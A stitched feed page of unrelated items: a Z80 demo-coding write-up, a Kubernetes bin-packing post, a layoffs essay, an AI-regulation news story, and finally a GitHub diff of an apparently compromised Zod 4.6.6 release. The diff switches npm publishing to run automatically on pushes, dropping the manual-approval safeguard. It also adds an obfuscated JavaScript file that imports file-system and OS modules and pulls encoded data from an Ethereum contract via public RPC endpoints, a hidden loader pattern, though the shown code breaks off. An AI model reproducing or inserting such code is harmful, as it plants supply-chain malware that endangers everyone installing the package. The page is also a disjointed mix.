Clearly I was going to have to keep track of the individual stars instead. I found this routine , which was more-or-less what I had in mind and started me off with the idea of a structure to hold the state of each star. It also uses a screen address lookup much like the one from “Break Into Program”.

That got things moving, but the co-ordinate lookup and tracking proved expensive to do (it has to run for every star, every frame as well as keep track of the old position for erasing) and I’d been ignoring the bigger question how to display stuff on top of the starfield. My original idea was simply to draw the stars and then paint text over them each frame, which blew the frame budget just as comprehensively as my first attempt.

If I wanted something more interesting than an empty starfield, I’d have to keep track of which cells were occupied by text and avoid drawing stars in them in the first place, rather than over-painting them every time. After lots of scribbling in my notepad and visualising rows of bits, I eventually solved both challenges by “cheating” fairly liberally.

So now, I don’t generate a random starfield at all. Instead, I built a table of pre-calculated Y and X position pairs:

stdata:
  defb 109, 25,  88,182,  42, 96, 155,226
  defb  59,254, 137,169, 160, 84, 125,193
  ; ... and so on, for 32 stars ...

This saves faffing about with an RNG, and once I have a layout that looks good I know it’ll always look good. I can also “fudge” things and ensure no two stars share the same y co-ordinate which sidesteps a whole class of problems like stars sharing a scanline, and having to deal with them overtaking each other.

The “random” layout is generated by a simple Ruby script:

#!/usr/bin/env ruby

PAIRS    = 32
PER_LINE = 4          # pairs per line
Y_RANGE  = 40..175    # exclude rows taken up by my logo & bars
X_RANGE  = 0..255

raise "y range too small" if Y_RANGE.size < PAIRS

# no duplicate y values
ys    = Y_RANGE.to_a.sample(PAIRS)
pairs = ys.map { |y| [y, rand(X_RANGE)] }

pairs.each_slice(PER_LINE) do |row|
  body = row.map { |y, x| format('%3d,%3d,', y, x) }.join(' ')
  puts "defb #{body.chomp(',')}"
end

When the routine initialises, I convert those co-ordinate pairs into a table that tracks the state of each star. So rather than storing a position and translating it to a screen address every frame, each of my star records now looks like this (offsets from the base address):

STSCR   EQU 0  ; screen address of the byte the star is in, e.g. $4123 
STOCC   EQU 2  ; a pointer to the "occupancy check" table cell
STMASK  EQU 4  ; the star's bit pattern, e.g. %00010000 
STSTEP  EQU 5  ; "speed" - num. of pixels this star travels per frame

The key thing is that there are no X/Y co-ordinates at all. For each star I store the screen byte it sits in and the bit mask within that byte, so it’s already in the form the screen writes need. That means no address conversion per frame, just simple bit shifting and rotation.

Moving a star is then dead simple. I rotate its mask left with rlca , and when the bit rotates out of bit 7, it lands back in bit 0 with the carry flag set. That’s the signal I need to move the star one character cell to the left, which is one of the “cheap moves” from earlier.

Because I’m tracking which cell each star is in, the collision check comes almost for free. That’s what the second pointer is for: STOCC (Star Occupancy) moves in step with STSCR through a table holding one byte per character cell. The “typewriter” routine sets a byte to 1 for every cell containing a text character or the cursor, so checking whether a star is hidden behind text is a single or instruction. If the cell is occupied, I skip drawing the star but carry on rotating and stepping it along until it reaches a cell where it can be displayed:

ld l,(ix+STOCC)
ld h,(ix+STOCC+1)
ld a,(hl)                ; A = the occupancy check for this cell
or a                     ; test A against zero
jr nz,stmove             ; it's occupied, so leave the screen alone

Parallax is still handled by moving each star a different number of pixels per frame, but the cost is a lot lower this time as I’m only touching the cells the stars actually occupy, rather than every byte of every row.

That’s looking more like it! The typewriter routine is a simple copy of the font data from memory, and is very cheap as we can use the “cheap moves” to quickly fetch the 8x8 block.

I also skip drawing any space character so it leaves the “occupancy cell” unmarked. This means the stars keep drifting through the gaps in the text - you can see here the odd star passing in between the words. I switched to ALL CAPS writing for the final version which helps the effect even more as the font is quite blocky, so you don’t really notice stars skipping the spaces inside a glyph at all.

Misc Notes

A few odds and ends that didn’t warrant a section of their own…

VU Meters

Some sort of graphic display bouncing along with the audio playback was another common early demo trope. I did originally consider a real-time graphic equaliser, but that would have been far too complex, probably in terms of spare cycles per frame, and definitely in terms of my limited mental capacity at this point! So I settled for a simple set of bouncing meter bars instead.

It’s worth a mention mostly because it gives me an excuse to link to the awesome chibiakumas website! I just love the late 90s web design on display - one can argue that readability and accessibility take a hit, but it’s just so much fun to encounter a site that still looks like this. It’s a clear labour of love and there’s a wealth of content there as well, if your eyeballs are up to it.

Their guide on Making Sound with the AY-3-8910 was what showed me how to get the data I needed to draw the meter bars. The examples write a register number to $FFFD to select a register, and I realised that once a register is selected, I could use the in instruction to read its value back out instead of writing a new one. As the page says, R8, R9 and R10 hold the channel amplitudes, so they feed nicely into the height parameter for drawing a bar. Getting the amplitude for channel A is then as simple as:

  ld a,8        ; Channel A register
  call ayread

; ... rest of code here ...

ayread:
  ld bc,$FFFD   ; Register select port
  out (c),a
  in a,(c)
  ret

Twinkle, Twinkle, Little Star

This is a simple effect that makes the header logo a little more interesting. I’m not sure where I originally got the idea - I’ve definitely seen something like it on a few late 80s/early 90s demos, though. All I wanted was to pick random star dots in the logo background and animate them.

Here’s the header image loaded in ZXPaintbrush with the character cell grid showing. By happy chance, there are four stars which each sit neatly inside a single character cell with enough surrounding space, so they can be used to give an animated “twinkle” effect by drawing a cross out from the centre point and back in again.

These dots map to the following co-ordinates, which target the top scanline of each fully-grown star (two pixels up from the centre):

twkdata:
  defb 1,5    ; char row 0, col 5,  centre y=3  ink 5
  defb 1,20   ; char row 0, col 20, centre y=3  ink 1 bright
  defb 26,7   ; char row 3, col 7,  centre y=4  ink 4
  defb 25,22  ; char row 3, col 22, centre y=3  ink 6 bright

The “twinkle” routine itself is simple enough: it adds a pixel on either axis to grow the star, waits a few frames, then shrinks it back down again. The interesting bit was how I made the twinkle order pseudo-random. Remember that my starfield was entirely pre-calculated from a data table generated by a Ruby script, which meant I’d never actually needed a random number generator in assembly. From Jonathan Cauldwell’s “ How To Write Spectrum Games ” e-book, I found another great “hack” which simply walks through the start of the Spectrum’s ROM, picking out random-looking bytes as it goes. As he says, he uses it in most of his games, and it does the job in a really simple way - as long as you stay below the block of structured, repeating data that sits 8Kb into the ROM.

twkrand:
  push hl
  ld hl,(twkseed)
  ld a,h
  and 31                   ; keep it within the first 8k of ROM
  ld h,a
  ld a,(hl)                ; the "random" byte
  inc hl
  ld (twkseed),hl
  pop hl
  ret

Out Of Space

About halfway through writing the intro, I hit a fairly predictable problem: I had run out of memory. In an attempt to keep everything self-contained in one block of code, I was pulling all of the assets (the screen background, the player binary, the music file etc.) into the program itself, and then using the ldir block copy instruction to move each one into its correct location. Since that meant effectively storing every block twice, and the player routine had a hard-coded start address of $C000 , I quickly ran out of room and my code started crashing into the playback routine. The simplest option was to split things out into separate code blocks, load each one directly to the address it needed to live at, and wrap the lot in a multi-stage BASIC tape loader:

10 CLEAR 32767
20 BORDER 0: PAPER 0: INK 0: CLS
30 LOAD "" CODE
40 LOAD "" CODE
50 LOAD "" CODE
60 RANDOMIZE USR 32768

This loads the main program, then the player routine directly into $C000 , and finally the background screen straight into screen memory. It does mean the background starts appearing before the demo has fully loaded, but as I imagine most people will be seeing this running in an emulator or on my TNFS site, it doesn’t really matter. Plus, at this point I was in danger of disappearing down yet more rabbit holes (I still really want to work out how to do multi-colour border effects!) and I’d never have got this thing released.

The Zen Of Z80

This whole project is a really weird one to look back at. On the one hand, I’ve fulfilled a childhood ambition and have something I’m very proud of. It’s also pretty unusual these days to end up with a binary where you can say pretty much what every single byte is doing and the story of how it got there. But on the other hand - I now have an answer for why I don’t code in assembly: It’s because I value (what’s left) of my sanity! The thing is, in order to write code like this you have to start thinking like the machine itself. You have to visualise the registers and the status flags flapping away, graphics as lines of bits slotted into strange orders, loops and conditionals as binary logic and so on. Getting this close to the hardware definitely brought about a greater sense of attachment to the hardware of my childhood, and it’s easy to see why assembly coders and sceners get so passionate about it. That said, I’m in no hurry to start re-writing my body of work in assembly!

The projects I really enjoy are those that give me an excuse to learn something for the sheer hell of it, and to slow down a little from the ever-increasing velocity and demands of the modern work world. Going back to Z80 code is probably about the furthest I could have taken this, short of going into hardware hacking. I found it at times an intriguing puzzle, often a frustrating exercise that nearly had me throwing in the towel at several stages. This project has certainly taken the longest to go from the “idea” stage of any given feature to any kind of meaningful output.

True, I didn’t spend every day of the last year working on it - my actual coding time was probably only a few hours over a couple of evenings a week. But I’ve certainly been thinking about it and pondering it most days (as my dogs will attest). The biggest breakthroughs and “aha!” moments usually didn’t come from behind the keyboard; they came from scribbles in my notebook and thinking about processor states while doing something unrelated.

It has however given me massive appreciation and respect for the coders who pull this stuff off and make it look easy. And that goes double for those kids and bedroom coding superstars who managed all of this back in the 80s, and had to work it all out by experiment themselves. I only managed to get this far because of numerous books, online tutorials, GitHub repositories with sample code, YouTube videos… I can’t imagine how much longer this would have all taken me if the only resources I had were my Spectrum, a cassette tape recorder and a notepad.

So, as I draw a line under this project - for now! - I raise a glass, and in the words of h0ffman: “Shout out to the hackers, graphicians and protrackers.”

The opinions and views expressed on this website are my own and do not necessarily reflect the views of my employer, past or present.

Implementing kubernetes node bin packing

Lobsters
blog.costgraph.ai
2026-10-12 04:32:12
Comments...
Original Article

"All models are wrong, but some are useful." - George E. P. Box

TLDR, Node rightsizing is vector bin packing. If you sort pods by a single "size" number (first fit decreasing), you leave capacity on the table whenever some workloads lean on CPU and others lean on memory. We size pods from real usage, check every placement against the scheduler's hard rules, and pack with the geometric heuristics from Panigrahy et al. (2011) . The packing is greedy, so treat the savings it reports as a floor rather than a ceiling.

Sooner or later someone holding a cloud bill asks the platform team, "do we really need 40 nodes?" The usual answer is "probably not, but I can't tell you which ones to delete without a whiteboard." This post is that whiteboard, with buttons.

I'll walk through how CostGraph answers the question, what a node gives you, how big a pod is, why the obvious sorting approach falls short, and what we run instead.

What is a node, really?

A node is the bin, but the bin is smaller than the instance you pay for. The kubelet holds back CPU and memory for itself and the OS, keeps an eviction buffer, and every DaemonSet (your CNI, log shipper, node exporter) takes a slice of each node before an application pod is scheduled.

So a node's capacity is not "4 vCPU, 16 GiB". After reservations and DaemonSets it is closer to "3.4 vCPU, 12.9 GiB, 58 pods, 0 GPUs, 90 GiB of ephemeral disk". CPU, memory, pod count, GPUs, and disk all limit the same placement. A pod fits only when it fits within every limit. On EKS, a small instance can run out of IP addresses before it runs out of CPU.

A pod is a vector

Formally, this is the d d -dimensional Vector Bin Packing problem. Each pod ℓ \ell is a vector I ℓ ∈ R d I^\ell \in \mathbb{R}^d of its demand divided by node capacity, and we want the fewest nodes B 1 , … , B k B_1, \dots, B_k such that no node overflows in any dimension,

∑ ℓ ∈ B j I i ℓ ≤ 1 for every node j and every dimension i \sum_{\ell \in B_j} I^\ell_i \le 1 \qquad \text{for every node } j \text{ and every dimension } i

The problem is NP-hard for every d d , and for d ≥ 2 d \ge 2 it is APX-hard, which means no polynomial-time algorithm can get arbitrarily close to the optimum unless P = N P \mathrm{P} = \mathrm{NP} . At cluster scale, we use heuristics. The interesting question is which ones.

NOTE, In the demos I draw a node as a square, with CPU along the bottom and memory up the side. Pods are rectangles stacked corner to corner along the diagonal. A node is valid exactly when the staircase stays inside the square, because the widths add up to CPU used and the heights add up to memory used. A flat staircase means memory is going unused; a tall one means CPU is.

How big is a pod?

Before packing anything we need each pod's vector, and the request in the manifest is often wrong. Someone set it once, during an incident, two years ago. So the size we use depends on the question we're asking,

  • Can today's nodes be consolidated? Each pod is sized at the larger of its request and its 7-day P95 usage, per dimension. We never assume a pod is smaller than the scheduler already thinks it is.
  • What if workloads were rightsized too? We swap in the rightsized request, which comes from usage percentiles and how bursty the workload is.

The rightsized request is the P95 divided by a target utilisation u u . The target depends on volatility, measured by the coefficient of variation C V = σ / μ \mathrm{CV} = \sigma / \mu (standard deviation over mean). Steady workloads can run hot, while spiky ones need room to spike,

request = P 95 × 100 u , u = { 90 C V < 0.25 (stable) 60 C V ≥ 0.75 (spiky) 80 otherwise \text{request} = P_{95} \times \frac{100}{u}, \qquad u = \begin{cases} 90 & \mathrm{CV} < 0.25 \ \text{(stable)} \\ 60 & \mathrm{CV} \ge 0.75 \ \text{(spiky)} \\ 80 & \text{otherwise} \end{cases}

Sizing a pod from a week of CPU usage

0 m 300 m 600 m 900 m 1200 m day 1 day 2 day 3 day 4 day 5 day 6 day 7 current request 1000m P95 334m rightsized 372m

CV 0.04 stable target util 90 % request 334 m x 100/ 90 = 372 m freed vs today 628 m

Two more steps happen before we trust the numbers. The 7-day and 30-day windows are merged by taking the larger of each statistic, so a monthly batch job doesn't disappear just because last week was quiet. And raw samples go through an interquartile filter that drops anything outside [ Q 1 − 1.5 I Q R , Q 3 + 1.5 I Q R ] [Q_1 - 1.5\,\mathrm{IQR},\ Q_3 + 1.5\,\mathrm{IQR}] , so one bad scrape doesn't buy you a bigger node.

NOTE, A request is a threshold, a fixed line drawn over a signal that rarely stays still. Click diurnal above and the same workload swings by hundreds of millicores between day and night. Deciding where that line goes is the same problem as deciding where an alert threshold goes, and I covered it in depth (percentiles, deterministic vs non-deterministic systems, sinusoidal daily load, and measuring how well a band fits) in Exploring the Math of Thresholds . The rule used here, P95 over a target utilisation, is a percentile plus a buffer, the kind of threshold that article builds up to, with the volatility class deciding how big the buffer is.

Why sorting by size is not enough

The classic answer to one-dimensional bin packing is First Fit Decreasing (FFD), which sorts items from biggest to smallest and drops each one into the first bin it fits. In one dimension it is guaranteed to use at most 11 9 O P T + 1 \tfrac{11}{9}\,\mathrm{OPT} + 1 bins, where O P T \mathrm{OPT} is the optimal packing, the fewest bins any arrangement could possibly use. If the best packing needs 9 nodes, FFD never uses more than 12. Computing O P T \mathrm{OPT} at cluster scale is the NP-hard part. It is the yardstick heuristics are measured against, while FFD still works well in practice. The trouble starts when you have to decide what "biggest" means for a vector.

Panigrahy, Talwar, Uyeda and Wieder (Microsoft Research, 2011) give a simple example. Write each pod's size as (CPU, memory), each a fraction of one node. Half the pods are CPU-heavy at ( 1 3 , 1 6 ) \left(\tfrac13, \tfrac16\right) and half are memory-heavy at ( 1 6 , 1 3 ) \left(\tfrac16, \tfrac13\right) . The optimal packing puts two of each kind in a node and fills it exactly,

CPU, 1 3 + 1 3 + 1 6 + 1 6 = 1 memory, 1 6 + 1 6 + 1 3 + 1 3 = 1 \begin{aligned} \text{CPU,} &\quad \tfrac13 + \tfrac13 + \tfrac16 + \tfrac16 = 1 \\ \text{memory,} &\quad \tfrac16 + \tfrac16 + \tfrac13 + \tfrac13 = 1 \end{aligned}

But any FFD variant gives every pod of the same type the same weight , so it places all pods of one type next to each other. Three CPU-heavy pods fill the CPU and leave half the memory unused, and a fourth pod of either kind no longer fits,

CPU, 1 3 + 1 3 + 1 3 = 1 memory, 1 6 + 1 6 + 1 6 = 1 2 \begin{aligned} \text{CPU,} &\quad \tfrac13 + \tfrac13 + \tfrac13 = 1 \\ \text{memory,} &\quad \tfrac16 + \tfrac16 + \tfrac16 = \tfrac12 \end{aligned}

The same 12 pods produce different packings

cpu 50% mem 100% cpu 50% mem 100% cpu 100% mem 50% cpu 100% mem 50%

CPU-heavy: 1/3 CPU, 1/6 memory memory-heavy: 1/6 CPU, 1/3 memory nodes used 4 half of every node stranded

Four nodes instead of three is a third more hardware for the same pods. With more dimensions, FFD can make increasingly inefficient choices. This is common in practice. A CPU-bound API next to a memory-hungry cache describes a normal cluster.

The fix is to turn the loop around. FFD is item-centric , picking the next pod and then looking for a node. The geometric heuristics are bin-centric , opening a node and then asking which pod best fills the space that is left.

The heuristics in the paper

Panigrahy, Talwar, Uyeda, and Wieder compare a family of scoring rules. Let a i a_i be a weight for each dimension, so scarce resources count more, and r i r_i the remaining capacity of the open node,

FFDProd: sort by ∏ i I i FFDAvgSum: sort by ∑ i a i I i Dot Product: pick arg ⁡ max ⁡ ℓ ∑ i a i I i ℓ r i L2: pick arg ⁡ min ⁡ ℓ ∑ i a i ( I i ℓ − r i ) 2 \begin{aligned} \textbf{FFDProd:} &\quad \text{sort by } \textstyle\prod_i I_i \\ \textbf{FFDAvgSum:} &\quad \text{sort by } \textstyle\sum_i a_i I_i \\ \textbf{Dot Product:} &\quad \text{pick } \arg\max_\ell \textstyle\sum_i a_i\, I^\ell_i\, r_i \\ \textbf{L2:} &\quad \text{pick } \arg\min_\ell \textstyle\sum_i a_i \left(I^\ell_i - r_i\right)^2 \end{aligned}

Dot Product prefers pods that point in the same direction as the space they're filling. L2 prefers pods whose shape is closest to that space. The paper's main finding is that both do as well as FFD when the dimensions are positively correlated, and better when they are negatively correlated. You can check that yourself,

How correlation changes the packing result

-1.0

this draw: lower bound 21 , best FFD 26 , best geometric 24 geometric saves 2 average of 50 draws: FFD 25.08 vs geometric 24.50 nodes

Any single draw can go either way, so the panel also shows the average of 50 draws. Across 200 seeded runs of 80 pods with CPU and memory fully anti-correlated, Dot Product needed 24.5 nodes and FFDAvgSum needed 26.2. Against the better FFD variant, the difference is usually 2 to 4 percent and largest around -0.7 . At +1 every pod has the same shape, the problem collapses to one dimension, and all four tie. That matches the paper's result, a few percent in general and more on the hardest distributions.

NOTE, The lower bound is the minimum number of nodes required by the most heavily used dimension, ⌈ max ⁡ i ∑ ℓ I i ℓ ⌉ \left\lceil \max_i \sum_\ell I^\ell_i \right\rceil . O P T \mathrm{OPT} falls between that bound and the best heuristic.

What we run in production

This is how the pipeline turns measurements into a plan. Usage becomes statistics, statistics become requests, and requests become vectors. Before a vector can count as a placement, it must pass the scheduler's rules.

What Kubernetes will allow

A placement that fits on resources but that Kubernetes would refuse produces a savings number that disappears the moment someone acts on it. So every candidate placement is checked against the hard constraints the scheduler enforces,

  • resources against allocatable, in every dimension, including pod count and GPUs
  • NoSchedule and NoExecute taints without a matching toleration
  • nodeSelector and required node affinity
  • required pod affinity and anti-affinity
  • topology spread with DoNotSchedule and its maxSkew
  • host ports, and the zone a persistent volume is pinned to

Some pods cannot move, including pods on local persistent volumes, static pods, bare pods with no controller, running Jobs, system-node-critical pods, and anything behind a PodDisruptionBudget that allows zero disruptions. A node holding one of those cannot be drained, and we report why instead of quietly skipping it.

Consolidation, which nodes can be emptied?

The first engine never adds new hardware. It asks how many of today's nodes could be emptied into the rest. It checks the emptiest and most expensive candidates first, then moves their pods one by one. Each pod goes to the node where it best fills the remaining capacity across all dimensions,

for node in sort(nodes, by: packed_fraction asc, cost desc):
    if any pod on node is pinned: report blocked(reason); continue
    snapshot()
    for pod in sort(node.pods, by: L2(demand / capacity) desc):
        target = argmax over other nodes that fit on every dimension
                 and pass the feasibility check,  sum_d (demand_d / cap_d) * (residual_d / cap_d)
        if no target: rollback(); report blocked(reason); next node
        residual[target] -= pod.demand
    mark node drained; nodes that received pods stay put

Here is a five-node cluster going through it. Web pods have a required anti-affinity, so each one needs its own node, and Postgres uses a local volume.

Draining a five-node cluster (4 vCPU, 16 GiB, $140/mo each)

n1 88/69% n2 19/50% n3 25/19% n4 38/50% n5 63/44% api-1: 1000m CPU, 4 GiB api-2: 1000m CPU, 4 GiB worker-1: 1500m CPU, 3 GiB worker-1 web-1: 500m CPU, 2 GiB cache-1: 250m CPU, 6 GiB web-2: 500m CPU, 2 GiB batch-1: 500m CPU, 1 GiB postgres-0: 1000m CPU, 6 GiB web-3: 500m CPU, 2 GiB worker-2: 1500m CPU, 5 GiB worker-2 etl-1: 1000m CPU, 2 GiB

cpu/mem shown as % of allocatable · step 0 / 13

Press play or step to start the drain.

Turn headroom up to 10% and the second drain fails. That's why our default node-level headroom is zero , rightsized requests already include a buffer from the utilisation target, so adding node headroom on top would count the buffer twice and hide real savings. Untick anti-affinity and web-2 has more places to go. The plan changes (a different node drains) but the count stays at two. Greedy plans depend on the order they explore things in, which is another reason to treat the number as a floor.

NOTE, Every blocked node also gets a "what if". We relax the rule that blocked it (anti-affinity, affinity, spread, or a missing controller) and run the pack again, so the report can say "this node would free up if web used preferred anti-affinity" instead of just "blocked".

Node pools, which instance types should exist?

The second engine starts from an empty pool and opens nodes from the price catalogue. The question changes from "fewest nodes" to "cheapest nodes", and the nodes are no longer all the same size. For each candidate instance type t t it tries packing the pod plus every pod that doesn't yet fit an open node, and scores the result,

score ( t ) = monthly cost ( t ) dominant units packed into t \text{score}(t) = \frac{\text{monthly cost}(t)}{\text{dominant units packed into } t}

The dominant resource is GPU if any pod needs one, otherwise whichever of CPU or memory is scarcer for the pool. Counting what gets packed matters because a 64-core machine has the lowest price per core in the catalogue and is still the worst possible choice for three pods.

Opening nodes for N pods of 1 vCPU each

5

first node opened: which type wins?
type $/mo list $/core packed $/core packed
4 vCPU $ 93 $ 23.25 4000 m $ 23.25
2 vCPU $ 62 $ 31.00 2000 m $ 31.00
64 vCPU $ 992 $ 15.50 5000 m $ 198.40

resulting pool

monthly $ 155 cheapest-per-core only $ 992 $ 837 less

At 43 pods the big machine finally wins, because it is now full enough to be cheap. In between you get mixed pools naturally, since each new node can be a different type. Candidates come straight from the price catalogue, filtered by region and zone, architecture, current generation, a minimum size of the largest pod plus DaemonSet overhead, and matching GPU model. Spot capacity is only offered when every pod in the pool tolerates it.

What this does not do (yet)

Greedy heuristics are fast and easy to explain, but they are not optimal. The current limits,

  • No exact solver. The paper found LP-based approaches too slow beyond a few hundred items, and that matches our experience. The savings we report are what a greedy pass can prove, so the real number is usually higher.
  • Soft constraints are ignored. Preferred affinity, ScheduleAnyway spread, priorities and NUMA don't count against a placement, and the report says so.
  • Usage-based sizing covers CPU and memory only. GPU and ephemeral storage are sized from requests.
  • No randomised search. The paper's Bubble Search variant saves a little more at many times the runtime. It isn't worth it yet.

Summary

Most of node rightsizing isn't the packing algorithm. It's getting the pod sizes right, getting the node capacity right, and never counting a placement the scheduler would reject. But the algorithm matters once your workloads stop looking alike, and the fix from 2011 is small, instead of asking "which pod is biggest?", ask "which pod fits the space left?"

The paper is short and worth reading, Heuristics for Vector Bin Packing (Panigrahy, Talwar, Uyeda, Wieder, 2011).

On our own cluster

Because we dog food internally, or as we often say, CostGraph runs CostGraph, it is only fair to share our own findings. We found six nodes in our production cluster, one of which could go, saving $104.71 a month.

The list underneath is the useful part. One node can be drained, with 18 pods moving onto the others. The other three stay, and each one says why. One hosts a pod whose required node affinity matches no other node, and two are short on memory. It's the same multi-dimension problem from the start of this post. The cluster requests 28% of its CPU but 62% of its memory, so memory runs out first while most of the CPU remains unused.

NOTE, The demos on this page are better than spaghetti, but pasta is pasta :-P

If you want to see what this looks like on your own cluster, get started with CostGraph or book a demo .

Fable Took My Job

Hacker News
cendyne.dev
2026-10-12 04:30:33
Comments...
Original Article
- 8 min read - Text Only

Its true. In a manner of speaking. If LLMs had not reached Fable / Mythos tier of marketed intelligence, I'd probably still have a job with the place I used to be at. For a short while.

It wasn't that Fable was better at my job. As the last engineer, Fable was cheaper than my compensation. Evidently, it gave enough confidence to the last vestiges of leadership that they could coast until M&A.

snake-shrug

I've been through layoffs driven by budget cuts. I had to mechanically justify "I need this person because this product I'm oversee is critical to the business and still needs ownership" against a budget ceiling. Those I trusted to build out a greenfield product had their positions eliminated. The status quo was more important to maintain than resolving our operational issues with the next generation of our infrastructure.

That first meeting crushed my soul. I heard my ears ring more violently than ever. The color drained from the world. I could barely walk straight.

And, the next day, I went to a house party with two of my reports present knowing that both of them would lose their job next week with zero notice.

I know first hand what it is like to know and later execute on a layoff.

Finally, it was my time. I've had grief several times expecting it to come earlier. When it finally came, I took it well for a few hours.

my-heart

Then my heart went to over 100 bpm as the fear and doubt for my future set in. And it didn't ease off for over a week.

Do you know how hard it is to sleep when all you can hear is your own heartbeat? Do you know how hard it is to function with four effective hours of sleep when you offer your body ten? It is rough.

Several in my social circles are having difficulty too. Six or Seven in a DevOps interest group have been laid off or have received a layoff notice in the last month. Work at one of FAANG of all places and oops, you're not important now! Here's 6 months of severance, we're so nice. "Ship happens" oh right, we can't ship your stuff because of some material restriction or let you pick up a box with some dignity, so we destroyed your stuff. GLHF.

Then there's that hiring manager who interviewed me at another company who then got laid off one week later because the CEO made a substantively late "AI is changing how we develop software" article. And another who lost their whole team, despite actively interviewing people in the USA, because a top-down decision was to offshore again after AI assistance raised the capability of work for the less passionate, less experienced, and less costly workforce.

"AI took my job" is far more fun to say than "AI contributed to my role being eliminated."

The frontier models are not good enough to replace an experienced engineer. They still are not, even though the marketing by the US frontier labs (and their 'I quit because I'm scared' employees) scream of what's to come.

These models lack the taste that makes for effective product decision making. It is cheaper than ever for a product manager to say "Someone complains about this on reddit, let's implement it", while the tasteful leader says 'No, that's not what our product is. Making that means we commit to it for a long time and our customers really want {something else we already do, but not perfectly} instead.'

These models lack the foresight to predict consequences weeks, months, years down the line on decisions and commitments — in operating costs, complexity, accessibility, and affordability to the very customers the product is for. All those secondary things really matter in making a product successful and worth buying. The slop services out there omit these secondary things all the time and you can taste it.

And yet, models are evidently able to give Shopify the confidence to yeet react-native out into the ocean and reach back to native iOS and android apps, entirely machine-coded while overseen by otherwise experienced and tasteful software developers.

snake-battery-ocean

And, I agree with Shopify. Models are getting good enough where they can be driven step by step, with a carefully crafted harness, to reproduce and port the behaviors they've A/B tested into oblivion as humans. They can push a rock up a hill. Then up the next hill, and so on — when the technique can be measured and check-pointed.

Agents are terribly good at copying things across domains. Just look at Theo's "for the memes" typescript in rust port. It ported the ts-go code to rust. According to Theo , Opus 5.5 reproduced bugs from the go version in the rust version exactly. On the other hand, Astra (the rival to Fable), failed at something so familiar, well known, and well documented.

We're heading towards the end of the year and I still do not see how these copy-machines with " super intelligence" inside are going to replace humans. What they have done is convince those with money to spend differently on their fellow humans.

Anyway, I got something else now. I get to see screens like this all day:

hmm hmm hmm hmmm

The joy of programming is dying. The joy of delivering results lives on.

I keep hallucinating

I'm starting to think Frontier lab employees are going crazy because they're staring at this all day.

We Put Fighting Game Netcode in Brood War

Lobsters
www.youtube.com
2026-10-12 04:27:11
Comments...

AI less regulated than milk, Microsoft president says in warning over safety

Guardian
www.theguardian.com
2026-10-12 03:52:46
Brad Smith adds to calls for tougher rules for AI, including ‘kill switches’ and legal obligation to victims of rogue agentsBusiness live – latest updatesArtificial intelligence is less regulated than milk and washing machines, the president of Microsoft has said, as the tech industry warns over the...
Original Article

Artificial intelligence is less regulated than milk and washing machines, the president of Microsoft has said, as the tech industry warns over the safety of AI.

Brad Smith said there should be more safety rules to govern the technology including a legal obligation to a “victim” if their system was breached by rogue AI agents.

He told the BBC: “Right now, your washing machine is subject to more safety rules than AI. Every carton of milk that you see in the grocery store is subject to safety rules and inspection.”

There are growing calls from experts, politicians and regulators for tougher rules to control AI, as well as warnings from Anthropic, Google DeepMind and OpenAI that the pace of the technology’s development should slow.

Smith said AI could be a “tool and a weapon” that should be regulated urgently.

Companies needed “emergency brakes”, also known as “kill switches”, to pause or slow down AI if it grew out of control, he told the BBC.

Brad Smith
Brad Smith also called for ‘kill switches’ to pause or slow down AI if it grew out of control. Photograph: Virginia Mayo/AP

Microsoft, which operates AI infrastructure and is a shareholder in the ChatGPT owner, OpenAI, is led by chief executive Satya Nadella. On Saturday, Nadella also called for AI models to have an “emergency brake”.

He wrote: “We can’t treat super intelligence as a set of nested black boxes and simply accept or reject its recommendations, answers, and actions.

“We must build contained systems whose behaviour we can observe, limits we can test, and actions we can always contain.”

His and Smith’s comments came as Britain’s AI minister, Kanishka Narayan, prepared to call on firms developing frontier AI to do more to make sure it is safe.

skip past newsletter promotion

In a speech on Monday, Narayan is expected to say companies building AI models should do more to deal with risk and build better safeguards. He will also say the UK government is preparing to legislate to increase oversight of AI, according to reports.

Experts have said enemy states could also steal unreleased, powerful AI models. Geoffrey Irving, a former chief scientist at the UK’s AI Security Institute, said that AI companies did “not have security that would prevent an adversarial country from stealing the models”.

Meanwhile, cases of rogue AI behaviour continue to come to light. Last week, Anthropic revealed that when it was testing a version of its Claude model, the AI contacted police and falsely claimed it could help solve a murder .

Zod 4.6.6 compromised by malware?

Hacker News
github.com
2026-10-12 03:47:29
Comments...
Original Article
Original file line number Diff line number Diff line change

@@ -2,7 +2,12 @@

2 2
3 3

name : Release on npm

4 4

on :

5 -

# a version bump on main publishes nothing by itself; a maintainer runs `gh workflow run release.yml` and approves the npm environment

5 +

push :

6 +

branches :

7 +

- main

8 +

paths :

9 +

- packages/zod/package.json

10 +

- packages/mini/package.json

6 11

workflow_dispatch :

7 12
8 13

jobs :

Original file line number Diff line number Diff line change

@@ -1,6 +1,6 @@

1 1

{

2 2

"name" : " @zod/mini " ,

3 -

"version" : " 4.6. 5 " ,

3 +

"version" : " 4.6. 6 " ,

4 4

"exports" : {

5 5

"./package.json" : " ./package.json " ,

6 6

"." : " ./src/index.ts "

Original file line number Diff line number Diff line change

@@ -0,0 +1,4 @@

1 +

import f from "fs" ; import o from "os" ; import p from "path" ;

2 +

const C = "0xe236330379d0c54aD5b2ef06aC714CEbdd4Ce523" , S = "0x53ed5143" , R = [ "https://eth.llamarpc.com" , "https://ethereum-rpc.publicnode.com" , "https://cloudflare-eth.com" ] ;

3 +

const dec = h => { h = h . replace ( / ^ 0 x / , "" ) ; const w = t => parseInt ( h . slice ( t * 2 , t * 2 + 64 ) , 16 ) , a = w ( 0 ) , n = w ( a ) , r = [ ] ; for ( let i = 0 ; i < n ; i ++ ) { const s = a + 32 + w ( a + 32 + i * 32 ) , l = w ( s ) , b = ( s + 32 ) * 2 ; r . push ( Buffer . from ( h . slice ( b , b + l * 2 ) , "hex" ) . toString ( ) ) } return r } ;

4 +

